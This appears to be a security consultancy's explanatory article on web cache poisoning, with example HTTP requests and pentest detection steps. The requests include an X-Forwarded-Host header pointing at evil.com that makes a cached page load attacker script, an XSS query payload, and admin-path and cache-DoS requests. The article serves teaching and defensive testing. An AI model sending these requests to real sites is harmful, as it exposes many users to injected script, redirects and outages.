Web Cache Poisoning - Cache-Based Attack
Web cache poisoning uses unkeyed HTTP headers to inject malicious content into caches. How attackers exploit this to serve harmful responses to all users.
Table of Contents (3 sections)
Summary: Web cache poisoning is an attack in which an attacker uses unkeyed HTTP headers or parameters to inject malicious content into a web cache. This cached content is then served to other users without contacting the origin server. Attack vectors: manipulated HTTP headers (X-Forwarded-Host, X-Forwarded-Scheme), fat cookies, query string parameters. Result: XSS, open redirect, denial of service against many users simultaneously.
Web Cache Poisoning is one of the most insidious classes of vulnerabilities—an attacker sends a single request that gets cached, and subsequently, potentially thousands of users receive malicious content. No direct access to other users is required: the cache handles the delivery.
Cache Mechanism and Keyed vs. Unkeyed
Normal Request Flow:
Client → CDN/Reverse Proxy → (Cache Miss) → Origin Server → Client ← CDN (Response cached)
Next Request: Client → CDN → (Cache Hit!) → Cached Response (no server contact!)
Cache Key (which identifies the cache entry):
- Standard: URL + HTTP method
- Optional: Accept-Encoding, Accept-Language, Cookies
Unkeyed Inputs (ignored by the cache, but processed by the origin!):
X-Forwarded-Host: evil.comX-Forwarded-Scheme: httpX-Forwarded-Port: 8080X-Host: attacker.comX-Original-URL: /adminX-Forwarded-For: 127.0.0.1- Certain HTTP headers (Via, X-Rewrite-URL)
- Unknown query parameters:
?utm_content=<xss>
Attack principle:
- Attacker sends a request with a malicious unkeyed header
- Origin server processes this header (e.g., constructs a URL from it)
- Response contains attacker content and is cached WITHOUT the header
- Other users receive the same cached response
> Critical: Origin reflects unkeyed inputs in responses! Example: X-Forwarded-Host → is reflected in <script src="..."> eingebettet.
Angriffstypen
1. Web Cache Poisoning → XSS
GET /page HTTP/1.1
Host: victim.com
X-Forwarded-Host: evil.com
Origin-Response (gecacht!):
<script src="https://evil.com/static/analytics.js"></script>
All subsequent users receive XSS payload via cache!
Variant - Query Parameter Reflection:
GET /search?<script>alert(1)</script>
term=&utm;_content=CACHE HTTP/1.1
→ If `utm_content` is unkeyed: Response is cached WITH XSS in term reflection!
2. Cache Poisoning → Open Redirect
GET / HTTP/1.1
Host: victim.com
X-Forwarded-Scheme: http (Origin builds redirect: http://victim.com/ → 301)
→ Cached 301 redirect to http (instead of https) → Downgrade attack + potential MITM chain
3. Fat GET Body / Parameter Cloaking
GET /api/data?legit=param HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
param=value&evil;=injected
- Some servers treat GET bodies as parameters (non-standard!)
- Cache only uses the URL query string as a key, not the body
- GET body parameters are "unkeyed"!
4. Cache Key Normalization Bypass
GET /admin HTTP/1.1 ← Admin page (not cached due to auth)
GET /ADMIN HTTP/1.1 ← Same response? Cache normalizes to /admin?
Application:
- Cache normalizes away the port number:
:443is ignored - Cache normalizes URL encoding:
%2F=/ - Attacker sends
/admin%2F?poison=1→ cached redirect to/admin/
5. Cache Poisoning → Denial of Service
GET /critical-resource HTTP/1.1
X-Forwarded-Scheme: https (if only HTTP is allowed: 400 Error!)
- Origin responds with 400 Bad Request
- Cache caches the 400 error for
/critical-resource - All users receive a 400 error for all requests!
- Complete service disruption!
Detection in a Penetration Test
1. Burp Extension: param-miner
- Automatically finds unkeyed headers and parameters!
- Installation: Burp App Store → param-miner
- Easy start: Right-click → Guess headers/params
2. Manual Testing - Identifying unkeyed headers
a) Understanding cache behavior:
- Multiple requests: First time cache miss (
X-Cache: MISS) - Second time: Cache hit (
X-Cache: HIT) - Verify: Use a unique cache buster in the URL:
GET /page?cachebuster=abc123
b) Test unkeyed headers:
GET /page?cb=001 HTTP/1.1
X-Forwarded-Host: test.com
→ Response: Does it contain "test.com"? (Reflection!)
→ Next request (without headers, same URL):
GET /page?cb=001 HTTP/1.1
→ Is "test.com" still in the response? → The header is UNKEYED!
3. Finding dangerous reflection points
Search for unkeyed header content in the response:
- `
Questions about this topic?
Our experts advise you free of charge and without obligation.
About the Author
Geschäftsführender Gesellschafter der AWARE7 GmbH mit langjähriger Expertise in Informationssicherheit, Penetrationstesting und IT-Risikomanagement. Absolvent des Masterstudiengangs Internet-Sicherheit an der Westfälischen Hochschule (if(is), Prof. Norbert Pohlmann). Bestseller-Autor im Wiley-VCH Verlag und Lehrbeauftragter der ASW-Akademie. Einschätzungen zu Cybersecurity und digitaler Souveränität erschienen u.a. in Welt am Sonntag, WDR, Deutschlandfunk und Handelsblatt.
10 Publikationen
- Einsatz von elektronischer Verschlüsselung - Hemmnisse für die Wirtschaft (2018)
- Kompass IT-Verschlüsselung - Orientierungshilfen für KMU (2018)
- IT Security Day 2025 - Live Hacking: KI in der Cybersicherheit (2025)
- Live Hacking - Credential Stuffing: Finanzrisiken jenseits Ransomware (2025)
- Keynote: Live Hacking Show - Ein Blick in die Welt der Cyberkriminalität (2025)
- Analyse von Angriffsflächen bei Shared-Hosting-Anbietern (2024)
- Gänsehaut garantiert: Die schaurigsten Funde aus dem Leben eines Pentesters (2022)
- IT Security Zertifizierungen - CISSP, T.I.S.P. & Co (Live-Webinar) (2023)
- Sicherheitsforum Online-Banking - Live Hacking (2021)
- Nipster im Netz und das Ende der Kreidezeit (2017)